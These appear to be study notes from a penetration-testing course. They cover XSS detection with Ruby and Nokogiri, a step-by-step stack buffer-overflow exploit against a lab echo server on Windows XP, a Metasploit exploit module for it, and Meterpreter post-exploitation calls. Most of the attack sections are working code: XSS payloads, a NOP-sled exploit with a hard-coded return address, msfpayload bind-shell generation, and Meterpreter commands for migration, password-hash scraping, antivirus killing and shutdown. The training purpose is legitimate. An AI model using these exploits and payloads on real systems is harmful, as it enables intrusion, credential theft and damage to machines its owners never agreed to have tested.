Sometimes is better to parse through the node structure of the document

Nokogiri

→ http://nokogiri.org/

  • Nokogiri is an HTML, SAX, and Reader parser. search documents via XPath or CSS3 selectors.
- Xpath 
  http://www.w3.org/TR/xpath/
  https://www.w3schools.com/xml/xpath_intro.asp

- CSS3 selector:
  http://www.w3.org/TR/selectors/
  http://www.w3schools.com/cssref/css_selectors.asp

Installation:

gem install nokogiri

Documentation & tutorials:

- http://nokogiri.org/tutorials

Example: Form Extraction:

Usage:


ruby form_extr.rb <url>

require 'open-uri'
require 'nokogiri'

Target = ARGV[0]

# Get the response body from the target resource via open-uri and parse the result HTML document using Nokogiri
doc = Nokogiri::HTML(open(Target))

# The xpath method returns an array of Nokogiri nodes
doc.xpath("//form").each_with_index do |form, i|
  puts "------- FORM #{i + 1} ---------- "
  puts "Action: " + form['action']
  puts "Method: " + form['method']
  puts "FIELD"
  form.xpath(".//input").each do |input|
    puts "Name: #{input['name']} - Type: #{input['type']}"
  end
  puts
end


Example 2 - Detect XSS reflected:

Some browsers (i.e. chrome) have a built-in reflected xss filter that recognizes common payloads such as:

<script>alert(1)</script>

the easiest way is to parse the document using Nokogori to search the injected payload to see how it appears in the parsed tree.

w/ interpreter:

require 'open-uri'
require 'nokogiri'
target = URI("<the full url with the <script> alert")

we can use open-uri and nokogiri to request the target resource using a GET request and to parse the html response body


doc = Nokogiri::HTML(open(target))

If we have a 'script' node in the tree, it means that the browser parses it as a script node too and executes its code:
alert(12345)
# another strategy is to search the string alert(12345) and check if its contained in a script node
# nokogiri treats text as a TextNode that must be contained in some ElementNode
# in this case, the ElementNode must be a script node while the TextNode must contains the string 'alert(12345)'
  • With xpath query, we can search through all of the text nodes in order to find the one that contains the alert

Example:

text()[contains(.,' alert(12345)')]

Text is used to select all the text nodes of the entire html document

The [] brackets are used to extract nodes that satisfies a particular condition

Contains is a xpath function that checks if a particular string contains another string (first argument - second argument)

  • So For each text = (. point), it tests if cotnains the second argument (alert12345)

We can execute the query to our parsed document using the xpath function:

doc.xpath("//text()[contains(.,' alert(12345)')]") 

// the output will be an array of nodes that satisfy our xpath query

We want to test if its parent is a script node:

el = doc.xpath("//text()[contains(.,' alert(12345)')]") 
el.first
el.first.parent
el.first.parent.name
el.first.parent.to_html

We can see also the HTML code of the node that contains the injected script:

el.first.parent.parent.to_html
# so we can confirm the we have inject a real script that will be executed by any browser

A simple Tool to detect XSS

Usage:

ruby detect_xss.rb <full url> <target parameter>

<div> <?php echo $_GET['param'] ?></div>
<div> <?php echp htmlspecialchars($_GET['param'],ENT_QUOTES, 'UTF-8') ?> </div>

// in the first div the script was injected correctly, but in the second one it was filtered.

 ruby detect_xss.rb http://localhost/xss1.php?param=123 param


require 'nokogiri'
require 'open-uri'
require 'cgi'

Target = URI(ARGV[0])
Parameter = ARGV[1]

XSS_VECTORS = ["<script> alert(123456)</script>"]
Testing_Values = [" alert(123456)"]

Query = CGI.parse(Target.query)

XSS_VECTORS.zip(Testing_Values).each do |vect, test|
  Query[Parameter] = vect
  Target.query = URI.encode_www_form(Query)
  doc = Nokogiri::HTML(open(Target))

  doc.search("//text()[contains(.,'#{test}')]").each do |el|
    if el.parent.name == 'script'
      puts "------ Probable XSS found --------"
      puts "Injection Vector: #{vect}","\n"
      puts "FOUND IN THE FOLLOWING CODE"
      puts el.parent.parent.to_html
      puts "------------------------------------------","\n"
    end
  end
end

Sometimes the simple <script> does not work, so we need to be more sophisticated

Example:

' onclick=alert(12345) b='

in case we have a code that does not filter single quotes

Exercises

1 - CMS Detection

  • The first exercise u could do is to detect if a particular web app uses a CMS
  • 1way - check the response headers of the resources of the webapp in order to find some interesting values (For example X-Powered-By response headers)
  • 2 way - test if the webapp resource URLs follow a particular pattern

2 - Hidden Files

  • Hidden files detector
  • sometimes, web devs leave backup or config files in the webapp
  • common hidden files that can give information are web.config.bak or php.ini.back and so on
  • the script could read this particular file name from a list (a file For example) and create a GET request to the specific target resource to check if they are available

3 - Indexing & Crawling

  • develop ur own web crawler or indexing tool
  • start from the home page of a webapp and list (and download if u are developing a crawler) all of the resources u can find in the web page.
  • u may have to choose the page selection policy, URL restriction, the strategy to detect if a page has been already crawled etc.
  • advanced crawlers take into account other problems such as efficiency, faults (timeouts, restricted pages, etc), bandwidth saturation and so on.

4 - Subdomain enumeration

  • u can use some strategies already used For crawling or hidden files but u can also web search engines (such as google)

Exploitation

ELS Echo Server

The Exploit

ELS Echo Server

  • its a simple echo server that sends back all the messages that it receives
  • available at the address 172.16.5.10 port 7707. it runs xp sp3

the service

s = TCPSocket.new "172.16.5.10",7707
s.gets
# Output: 'els echo server 1.1'

s.puts "hello world"
s.gets
# Output: 'hello world - echo server'

It responds only to the first message because it closes the connection after the response:

s.puts "a message"
s.gets
# Output: 'a message - echo server'

s.puts "another message"
# Output: Errno::EPIPE: Broken pipe

Bug detection

  • common attacks require bad programming
  • in this case, the echo server has a common c++ programming bug, the size of the received data from the user is not checked causing a buffer overflow possibility

Example. lets send a lot of data to the server:

s = TCPSocket.new "172.16.5.10",7707
s.gets
s.puts "A"*100

we do not receive a response, we can assume that the server is crashed

  • the most common technique to overwrite the Return Address is by using a CALL ESP instruction address (usually located in Kernel32.dll) and then put the malicious code after the local variables space.
  • This holds because ESP stores the top of the stack and when the RET is executed, the input_copy frame is erased and the top of the stack contains our malicious code executed next by the CALL ESP.

Therefore to correctly exploit the vulnerability, we have to detect where to insert the CALL ESP address and the malicious PAYLOAD.

The Exploit

Identify the Buffer Overflow space

We have to find the position of the return address

Fuzzing

  • its an incremental technique to detect the correct position of the return address and its mainly used when we cannot debug the vulnerable service.
  • hackers use fuzzers only if they cannot debug the target application by themselves.

If u have access to the executable, u can use tools such as:

 Immunity Debugger = https://www.immunityinc.com/products/debugger/
 IDA pro = https://www.hex-rays.com/products/ida/
 Ollydbg = http://www.ollydbg.de/

Using a Debugger

  • lets use Immunity Debugger
  • set a breaking point on the RETN instruction of the input_copy function. cause we want to check the value of the EIP register after the return.

To detect where the return address location is (offset from the vulnerable buffer), we can use two metasploit tools:

pattern_create.rb
pattern_offset.rb
/usr/share/metasploit-framework/tools/exploit/

First we create a pattern:

./pattern_create.rb -l 100 or msf-pattern_create -l 100

Then we send the string to the echo server:

s = TCPSocket.new "172.16.5.10","7707"
s.gets
s.puts "<the pattern_create string>"

after the crash we get the value of EIP, in this case 35624134

Now we use the second payload with this value:

./pattern_offset.rb -q <35624134> 100 or msf-pattern_offset -q <query>
# Exact match at offset 44

This means that our script must have 44 character followed by a CALL ESP (or JMP) instruction address

Writing the Payload

Preamble

  • its the space between the first byte of the vulnerable buffer and the return address. we have seen that its length is 44 bytes
  • this means that we can insert whatever we want in these bytes since they are not relevant. usually is a common convention to insert NOP operations as preamble (\x90 is the HEX code For NOP)

In Ruby:

preamble = "\x90"*44

Return address

  • in Windows XP SP3 we can use 0x7C868667 For a CALL ESP instruction

We need to use Big-Endian, so:

return_address = "\x67\x86\x86\x7c"

The payload

  • before adding the real malicious payload logic, remember that after the return address, there is space allocated For the arguments passed to call the function.

Does not need to be the exact size, just insert enough NOPs before the real malicious payload:

nop,nop,nop  
nop  
CALL ESP address -> EIP register
nop  
nop  
malicious payload  

→ arguments_nop = “\x90”*10

  • metasploit helps us with two tools: msfpayload and msfencode
  • the first one can be used to generate the payload
  • the second can be used to encode the payload in order to avoid bad characters

  • Since the vulnerability is caused by a strcpy in a C++ application, we must avoid the \x00 character (end of line); this is because strcpy will stop the copy if it encounters these bytes
msfpayload windows/exec CMD=calc.exe R | msfencode -b "\x00" -t rb
# buf = "<the generate payload>"

So, we copy the payload to our ruby script:

calc_payload = <the generate payload>

Then we concatenate all parts previously generated:

exploit = preamble + return_address + arguments_nop + calc_payload

Exploitation

  • we can add a simple TCP connection to send the payload

Our full script:

preamble = "\x90"*44
return_address = "\x67\x86\x86\x7c"
arguments_nop = "\x90"*10
calc_payload = <the generate payload>
exploit = preamble + return_address + arguments_nop + calc_payload

host,port = ARGV[0],ARGV[1]
require 'socket'
TCPSocket.open(host,port) {|s| s.puts exploit}

Usage:

ruby echo_payload.rb 172.16.5.10 7707

On the server machine, a calculator has been executed. The exploit works.

Shell on the victim

Instead of open a calculator, we can open a bind or reverse connection

With metasploit:

windows/shell_bind_tcp
  • go to the msfconsole
  • and see the options we can set
msfpayload windows/shell_bind_tcp LPORT=1117 R | msfencode -b "\x00" -t rb
# <output of payload>

we can use the same structure of the calc exploitation we just have to change the malicious payload

  • after sending the payload
  • we must open a telnet in that port

In kali:

telnet 172.16.5.10 1117
# we have a shell

Metasploit

Introduction

ELS Echo Server

Architecture and Framework

Explore and write the ELS Echo module

Meterpreter scripting

Introduction

Metasploit is a pentest framework designed to quickly use and develop exploits, payloads, encoders and much more.

→ http://www.metasploit.com/

ELS Echo Server

  • in the example our target is a win xp sp3 machine
  • ip: 172.16.5.10 port:7707

The service

It just echos the messages:

s = TCPSocket.new "172.16.5.10","7707"
s.gets
# Output: gets banner
s.puts "hello world"
s.gets
# Output: "hello world"

The vulnerability

If we send to many characters the service will crash:

s.puts "A"*100
# crashes

Now we want to automate the exploitation phase. This avoids having to write a custom script (or a payload) each time we find an ELS Echo Server.

Exploitation with Metasploit

  run msfconsole
  use exploit/windows/els/echoserv
  info
  check // we can use this command, to see if the target is exploitable
  set PAYLOAD < preferred payload >
  set lhost and lport
  exploit
 # to get a meterpreter session

Architecture and Framework

→ https://github.com/rapid7/metasploit-framework/wiki#metasploit-development

Metasploit framework Architecture

  libraries interfaces    
tools > Rex Console    
  MSF CORE CLI    
plugins > MSF BASE < WEB    
modules        
payloads exploits encoders post-modules auxiliary

Path in kali:

/usr/share/metasploit-framework

Path useful For local user modules and plugins:

~/.msf4

Interfaces

Msfconsole

  • The most used one. its a complex interface and a shell command too.
  • with the msfconsole -h option we can see usage information

Msfcli

  • its the command-line interface into the metasploit framework.
  • u can use to launch exploits or handler quickly
  • its the best choice if u already know what u have to do and u do not want to use the msfconsole
  • using msfcli -h option we can see usage information

Example:

msfcli exploit/windows/els/echoserv RHOST=172.16.5.10 E
// E = execute 
// rport,target and payloads options are taken as default

Web interface

Usage:

  service metasploit start
  its in localhost:3790
  to use it, a registration is required but its free and quick
  • u can build your own projects and perform the same things u can do with msfconsole

Usage example:

search modules > echoserv
  • now we can set the options through the interface
  • after running, we get a meterpreter session in the sessions tab

We have various features to interact with the session:

- // collect system data, virtual desktop, access filesystem, search filesystem, command shell, create proxy pivot, create VPN pivot, terminate session
  • it may be useful if u have to automate a lot of tasks
  • however some features are not available in the free community version (like auto-exploitation)

Others

→ /usr/share/metasploit-framework > ls

  • then check the options with -h to list more information

Example:

msfvenom -h

Libraries

→ /usr/share/metasploit-framework/lib > ls

→ moreover the libraries: https://github.com/rapid7/metasploit-framework/blob/master/documentation/developers_guide.pdf

  • u can explore its modules, classes, utilities etc to use its libraries in your scripts without using any Metasploit interface
  • https://github.com/rapid7/metasploit-framework/wiki#metasploit-development

  • Metasploit provides very good API documentation that shows u the code of each method u want to know

→ https://rapid7.github.io/metasploit-framework/api/

Rex library

  • Ruby extension library is the most important of the entire framework
  • it provides a collection of basic classes and modules useful For almost all of the framework tasks: protocols, sockets, services, encoders, text transformations and so on.

→ /usr/share/metasploit-framework/lib/rex/ > ls

moreover, u can see that the API documentation may help u to understand all of the features of Rex: http://rapid7.github.io/metasploit-framework/api/

Core library

It implements the set of classes and utilities that can be used as an interface to the framework modules and plugins

→ /usr/share/metasploit-framework/lib/msf/core > ls

  • can be used with an instance based approach

  • The instance contains the entire framework state and u can create it using the Msf::Framework.new
  • the core instance can manage modules, plugins, sessions, jobs and so on
  • it uses features of the Rex library

  • u can also use the API documentation (Msf node in this case)
  • it also contains classes defined in the Base library

Base library

  • its developed on top of the Core library and it makes easier to interact with the framework structure. its purpose is to provide simplified and more user-friendly APIs to improve and speed up the development
  • /usr/share/metasploit-framework/lib/msf/base > ls

Modules

  • the part that users uses to perform exploitations and penetration testing activities
  • if a new payload module is developed, all of the exploits can automatically use it thanks to the framework structure.

→ /usr/share/metasploit-framework/modules

Modules:

- payloads
- exploits
- encoders
- post-modules
- auxiliary

exploits

→ /usr/share/metasploit-framework/modules/exploits

  • handlers are exploits modules too.

For example:

use exploit/multi/handler

reverse connections can be used to bypass NAT rules since it is the victim that starts the handshake

auxiliary

  • are used to perform operations different from exploitation. they are generally used when there is no need of a payload or a target.
  • like Denial of Services (DOS) attacks while some other are used as scanners, information collections and so on.

payloads

  • u will always use a payload module when u launch an exploit (remember that u usually do a SET PAYLOAD command)
  • they encapsulate the real malicious code that is going to be executed if the exploitation succeeds (the raw instructions that make it possible to take control of the target machine exploited)

→ /usr/share/metasploit-framework/modules/payloads

Types:

  single
  stagers
  stages
  • single: (me) has all of the raw code to perform a particular task. example: bind_shell is a single payload because it does not require additional code.
  • a meterpreter connection requires a stager and a staged payload
  • stager: is used to setup the connection between the target and the attacker machine
  • then, a staged payload is sent to the target victim and its the real malicious raw code.

Nops and Encoders

  • are modules related to the exploitation phase
  • nops modules are used to generate instructions that have no effect to the target machine. A typical nop instruction is \x90
  • some nops are detected by AV, therefore metasploit provides some nops generator modules that u can use to generate more sophisticated ones.

Encoders are another type of module used to improve your payload generation in order to make them undetectable from AVs:

/usr/share/metasploit-framework/modules/encoders
/usr/share/metasploit-framework/modules/nops

Post

  • used to perform post exploitation tasks and theregore they may be require an active meterpreter session to interact with as an option.

We can use with run command:

run post/*
- /usr/share/metasploit-framework/modules/post

Plugin

  • used to extend framework capabilities
  • often they are developed to provide a bridge between the metasploit framework and other pentesting tools

→ /usr/share/metasploit-framework/plugins

Some plugin are related to other pentest tools, such as:

- openvas
- nessus
- nexpose

Tools

  • are particular scripts that mainly use the Ruby Extension library (Rex) to perform some tasks that do not require any framework interaction or structure.
  • if u want to use some Rex classes or features, u r writing what is called a metasploit dependent tool and u have to include it the Rex library.

→ /usr/share/metasploit-framework/tools

Example:

pattern_create.rb
pattern_offset.rb

Write a Module

Module type and location

  • first thing > identify the module type

In this case, the module that we are going to develop is an exploitation module (since we want to exploit a buffer overflow vulnerability of the els echo server)

  • we know that it targets apps running on Windows
  • these infos are important cause it tells us where the real Ruby file module must be stored in order to make it recognizable by the framework

Usage:

use exploit/windows/els/echoserv

We can put the module in two places:

/usr/share/metasploit-framework/modules/exploits/windows
# the framework file system

~/.msf4/modules/exploits/windows
# the dir reserved to the private user modules and plugins

the second is better cause avoids any problems related to the framework updates

Start the postgredb:

systemctl start postgresql.service
updatedb
msfconsole # only then the msf will recognize ur new module

Module high level structure

High level structure of a generic module:

module type
module requirements
module information
module operations

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(info,
        'Name' => 'Exploit name',
        'Description' => %q{ This module exploits a .....}, # end of description
        'Author' => 'the author name', #-------
      )
    )
  end

  def check
    # ----
  end

  def exploit
    # ----
  end
end


  • in this case, we are going to do a bof exploitation
  • msf/core library is almost always required For metasploit module

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  # module body
end

→ http://www.rubydoc.info/github/rapid7/metasploit-framework/Msf/Exploit/Remote

The remote exploit class is a specialization of the exploit module class that is geared toward exploits are performed against targets other than the local machine. This typically implies exploiting other machines via a network connection, though its not limited to this scope

Since the connection we want to establish with the vuln target is a tcp, we need to set the right methods

→ http://www.rubydoc.info/github/rapid7/metasploit-framework/Msf/Exploit/Remote/Tcp


require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  # we need a tcp connection
  include Exploit::Remote::Tcp
  # module body
end

the reload command in metasploit can be used to reload the changes u have made in the module.

Module information

  • first thing to do is initialize the module with the information related to the module itself
  • another way to explore the metasploit documentation is by taking a look at the code shown by the initialiaze API For each class of the class chain.

Example:

Class: Msf::Exploit::Remote
Object < Module < Msf::Exploit < Msf::Exploit::Remote

To set module information:

def initialize(info = {})
  super(
    update_info(info,
      'Name' => 'Els ECHO Server',
      'Description' => %q{
        This module exploits a buffer overflow found in the Els ECHO Server.
      },
      'Author' => 'eLearnSecurity',
      'License' => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'RPORT' => '7707'
        },
      'Payload' =>
        {
          'BadChars' => "\x00",
        },
      'Platform' => 'win',
      'Targets' =>
        [
          ['Windows XP SP3', { 'Ret' => 0x7c868667 }],
          ['Windows 7', { 'Ret' => 0x772A2E2B }]
        ],
      'DefaultTarget' => 0
    ) # End of update_info
  ) # End of super
end # End initialize


EXITFUNC => process means that when u close the connection with the specified payload (meterpreter, shell, etc..) the remote process ends too; its not available For further connections.

Payload is used to specify information about the payload generation (encoding, character to avoid, space and so on). In this case we only need to specify one bad character \x00

Platform=>win means that the target platform is Windows. When we use show payloads command, only Windows payloads will be displayed.

Targets is used to specify information about the various type of targets

  • Differents OSs have different return addresses to use in the exploit (the address of a CALL ESP For example). Therefore, using Targets, u can parameterize the script.

DefaultTarget=>0 means that when u load the module (use command) the TARGET value is already set to 0; in our case its Windows XP SP3 (the first value in the Targets array)

show options
# when we load the module we have some options set like RPORT and TARGET

The check method

check is used to verify if the target is exploitable and its not a mandatory command (its not used by pentesters)

In msf:

check

# its gonna check the target and default port 
  • it checks the banner with s.gets
  • if the banner is ELS Echo Server 1.1, we treat the target service as vulnerable

def check
  connect
  banner = sock.gets()
  disconnect
	
  if (banner =~/ELS Echo Server 1.1/)
    return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
end
# other module methods

Connect is used to create a tcp connection to the remote target

The target information will be retrieved from RHOST and RPORT parameters

Its a method provided by Remote::Tcp

The attribute to interact with the TCP connection is sock:

socks.gets() 
# to get the banner sent by the server

after getting the banner, we can verify its value and return it

The exploit method

  • it wraps the real exploitation logic code

→ use exploit/windows/els/echoserv

Set options:

def exploit
  connect
  print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")

  handler

  print_status("Trying target #{target.name}")
  buff = "\x90"*44 + [target.ret].pack('V') + "\x90"*10 + payload.encoded
  sock.put(buff)
  disconnect
end

Connect is used to establish a TCP connection with the target RHOST and RPORT

Print_status outputs some information while datastore is an array that contains the framework options.

Handler is used to open a listening socket to the LHOST and LPORT

Buff stores our full payload

  • Target and payload are two attributes provided by the Msf::Exploit::Remote class.

Moreover:

→ http://www.rubydoc.info/github/rapid7/metasploit-framework/Msf/Module/Target

→ http://www.rubydoc.info/github/rapid7/metasploit-framework/Msf/Payload

The payload first sends 44 nops

  • target.ret, get the return address specified in the initialize method
  • pack(‘V’) method is used to convert the return address (target.ret) into binary sequence (32-bit little endian).
  • after that, we add more nops
  • payload.encoded stores the encoded payload. it takes into account the parameter set in the module configuration

  • the sock attribute can be used to interact with the service
  • with sock.put(buff), we send the entire payload (buff) to the server using the available socket
  • disconnect, closes the connection
  • if the exploitation succeeds, we will obtain a meterpreter session. thanks to the handler, the stream is automatically opened.

We are using the \x90 as Nops, but the metasploit framework allows us to generate sophisticated nops with the make_nops instruction>

buff = make_nops(44) + [target.ret].pack('V') + make_nops(10) + payload.encoded

We can parameterize the buffer generation using some Payload parameters:


'Payload' =>
{
  'Offset-1' => 44,
  'Offset-2' => 10,
  'BadChars' =: "\x00",
}

buff = make_nops(payload_info['Offset-1']) + [target.ret].pack('V') + make_nops(payload_info['Offset-2']) + payload.encoded

we can also parameterize the buffer generation using Target parameters

Its a common situation where different targets requires different offset or payload spaces to perform the exploitation

Targets considerations

  • we have 2 targets, xp and win7
  • xp does not implement ASLR (Address space layout randomization) like win7 does
  • if u want to test in another system, u have to get the return address of that system, its the CALL ESP or similar (JMP ESP For example)

Find the address of a win7 using findjmp.exe tool:

findjmp.exe Kernel32.dll ESP
# Output: 0x77252E2B call esp

Now we can insert this address in our module For the correct target:

  • ‘Windows 7’,{ ‘Ret’=>0x77252E2B}

Meterpreter Scripting

  • its one of the payloads available in the metasploit framework
  • it has different types of penetest activities such as data harvesting, pivoting and so on.

Meterpreter Basic API

Explore the code available:

/usr/share/metasploit-framework/lib/rex/post/meterpreter
  • u can test the APIs using the irb interpreter available in each meterpreter session

Default meterpreter scripts can be found here:

/usr/share/metasploit-framework/scripts/meterpreter
  • examples: hashdump, killav, migrate, scraper, autoroute and so on
  • we can use them with the run command

U can execute your own meterpreter scripts by putting them in your local dir:

.msf4/scripts/meterpreter/

video

In meterpreter session:

irb
client.session_host # ip of the target machine
client.session_port 
client.methods # list of methods that we can use
client.methods.each{ |m| puts m}
client.public_methods.each{ |m| puts m}
client.info # show current user
client.exploit # info about the payload used
client.exploit.datastore['PAYLOAD']
client.print_good "OK"
client.print_status "OK"
client.print_warning "OK"
client.print_error "OK"

→ /usr/share/metasploit-framework/lib/rex/post

  • edit meterpreter.rb

cd meterpreter - edit client.rb:

client.core
client.sniffer # error
client.use["sniffer"] # error
client.core.use["sniffer"] # it works

Now we can use the sniffer extension:

client.sniffer

In meterpreter:

use sniffer
sniffer 
# it shows the options

In irb:

client.sniffer
client.sniffer.interfaces[0]['description']
  • irb:

Grab the PID that u want to migrate with ps:

client.core.migrate(552) # true
getpid // get current PID

fs and file

client.fs.dir.pwd # current path
client.fs.dir.entries # list the directory
client.fs.dir.chdir("../") # cd to parent folder
client.fs.file.search(client.fs.dir.pwd,"*.exe") //list all exe files in the dir
client.fs.file.stat("<file>") # get info about the file
client.fs.file.exists? "<file>" # true or false
  • unlink or delete //to delete a file
  • upload or download

sys config

client.sys.config.getuid # the same as getuid in meterpreter
client.sys.config.sysinfo
client.platform
client.sys.config.getprivs

sys process

client.sys.process.getpid # current pid
client.sys.process.processes[0]
client.sys.process['explorer.exe'] # pid of the process
client.sys.process.kill(368)

net config

config.net.config.get_interfaces[0]
config.net.config.get_interfaces[0].class
config.net.config.get_interfaces[0].addrs
config.net.config.get_interfaces[0].pretty
puts config.net.config.get_interfaces[0].pretty
client.net.config.each_interface { |i| puts i.pretty }
config.net.config.netstat[0]
config.net.config.arp_table[0]
config.net.config.arp_table[0].ip_addr
config.net.config.arp_table[0].mac_addr
- more options For client.net.config.<option>:
get_routes
add_route
remove_route
get_proxy_config
resolve # to get dns

sys power

client.sys.power.shutdown 
# shutdown the victim machine

scraper

In meterpreter:

run scraper -h 
# get system info including network shares, registry hives and password hashes

copy the meterpreter_script_template.rb to .msf4/scripts/meterpreter